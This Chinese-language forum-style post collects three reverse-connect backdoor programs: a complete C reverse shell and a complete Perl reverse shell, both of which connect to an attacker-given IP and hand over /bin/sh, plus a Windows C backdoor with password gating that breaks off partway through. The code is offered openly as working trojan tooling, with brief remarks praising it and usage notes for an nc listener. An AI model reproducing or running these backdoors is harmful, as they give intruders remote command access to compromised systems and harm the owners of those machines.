第一个反弹木马代码：作者 iceblood
代码 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
void usage();
char shell[]="/bin/sh";
char message[]="s8s8 welcome\n";
int sock;
int main(int argc, char *argv[]) {
if(argc <3){
usage(argv[0]);
}
struct sockaddr_in server;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("Couldn’t make socket!\n");      exit(-1);
}
server.sin_family = AF_INET;
server.sin_port = htons(atoi(argv[2]));
server.sin_addr.s_addr = inet_addr(argv[1]);
if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
printf("Could not connect to remote shell!\n");
exit(-1);
}
send(sock, message, sizeof(message), 0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl(shell,"/bin/sh",(char *)0);
close(sock);
return 1;
}
void usage(char *prog[]) {
   printf("\t\ts8s8 connect back door\n\n");
printf("\t sql@s8s8.net\n\n");
printf("Usage: %s \n", prog);
exit(-1);
}
 
　显得有点简陋了，不过还能讲究的过去。。如果需要可以写成LKM，呵呵。 
第二个反弹木马代码：作者cnhackTNT
代码 
#!/usr/bin/perl
#http://www.s8s8.net
#cnhackTNT[AT]hotmail.com
use strict;
use Socket;
use Cwd;
use IO::Handle;
if ( @ARGV < 1 ) {
print <<"EOF";
usage: 
nc -l -p PORT(default 66666) on your local system first,then
Perl $0 Remote IP Remote_port(default 66666)
Type ’quit’ to exit or press Enter to gain shell when u under the ’S8S8 console’.
Enjoy ur shell!
Welcome to http://www.s8s8.net
EOF
exit;
}
my $remote      = $ARGV[0];
my $remote_port = $ARGV[1] || 66666;
my $proto       = getprotobyname(’tcp’);
my $pack_addr   = sockaddr_in( $remote_port, inet_aton($remote) );
my $path        = cwd();
my $shell       = ’/bin/sh -i’;
socket( SOCK, AF_INET, SOCK_STREAM, $proto ) || die "socket error: $!";
STDOUT->autoflush(1);
SOCK->autoflush(1);
connect( SOCK, $pack_addr ) || die "connection error : $!";
open STDIN,  ">&SOCK";
open STDOUT, ">&SOCK";
open STDERR, ">&SOCK";
print "You are in $path\n";
print "Welcome to www.s8s8.net\nEnjoy ur shell.\n\n[S8S8 console]>";
while () {
   chomp;
   if ( lc($_) eq ’quit’ ) {
       print "\nWelcome to www.s8s8.net";
       print "\nByeBye~~~!\n";
       exit;
   }
   elsif ($_) {
       system($shell);
       print "\n[S8S8 console]>";
   }
   else {
       print "\n[S8S8 console]>";
   }
}
close SOCK;
exit;
 
　　很简单，功能和上面sql兄那个c版本的差不多。

第三个反弹木马代码：作者dahubaobao
代码 
#include 
#include 
#include 
#include 
#include 
#pragma comment (lib,"ws2_32.lib")
#define PASSSUCCESS "Password success!\n"
#define PASSERROR "Password error.\n"
#define BYEBYE "ByeBye!\n"
#define WSAerron WSAGetLastError()
#define erron GetLastError()
VOID WINAPI EXEBackMain (LPVOID s);  
//BOOL EXEBackMain (SOCKET sock);
int main (int argc, TCHAR *argv[])
{
   SOCKET sock=NULL;
   struct sockaddr_in sai;
   TCHAR UserPass[20]={0};    //用户设置密码缓冲
   TCHAR PassBuf[20]={0};     //接收密码缓冲
   TCHAR PassBanner[]="\nPassword:";
   TCHAR Banner[]="---------dahubaobao backdoor---------\n";
   if (argc!=4)
   {
       fprintf(stderr,"Code by dahubaobao\n"
               "Usage:%s [DestIP] [Port] [Password]\n",argv[0]);
       return 0;
   }
   sai.sin_family=AF_INET;
   //判断参数合法性，并填充地址结构
   //IP地址不能大于15
   if (strlen(argv[1])<=15)
       sai.sin_addr.s_addr=inet_addr(argv[1]);
   else
   {
       #ifdef DEBUGMSG
              printf("Internet address no larger than \"15\"\n");
       #endif
       goto Clean;
   }
   //端口不能小于0 && 大于65535
   if (atoi(argv[2])>0&&atoi(argv[2])<65535)
       sai.sin_port=htons(atoi(argv[2]));
   else
   {
       #ifdef DEBUGMSG
              printf("Port no less than \"0\" and larger than \"65535\"");
       #endif
       goto Clean;
   }
   //密码最大16位
   if (strlen(argv[3])<=16)
       strcpy(UserPass,argv[3]);     //复制密码
   else
   {
       #ifdef DEBUGMSG 
              printf("Please connect password error\n");
       #endif
       goto Clean;
   }
   while (TRUE)
   {
          WSADATA wsadata;
          BOOL ThreadFlag=FALSE;
          DWORD ThreadID=0;
          int nRet=0;
          nRet=WSAStartup(MAKEWORD(2,2),&wsadata);     //初始化
          if (nRet)
          {
              #ifdef DEBUGMSG
                     printf("WSAStartup() error: %d\n",nRet);
              #endif
              return 0;
          }
          sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
          if (sock==INVALID_SOCKET)
          {
              #ifdef DEBUGMSG
                     printf("socket() GetLastError reports %d\n",WSAerron);
              #endif
              goto Clean;
          }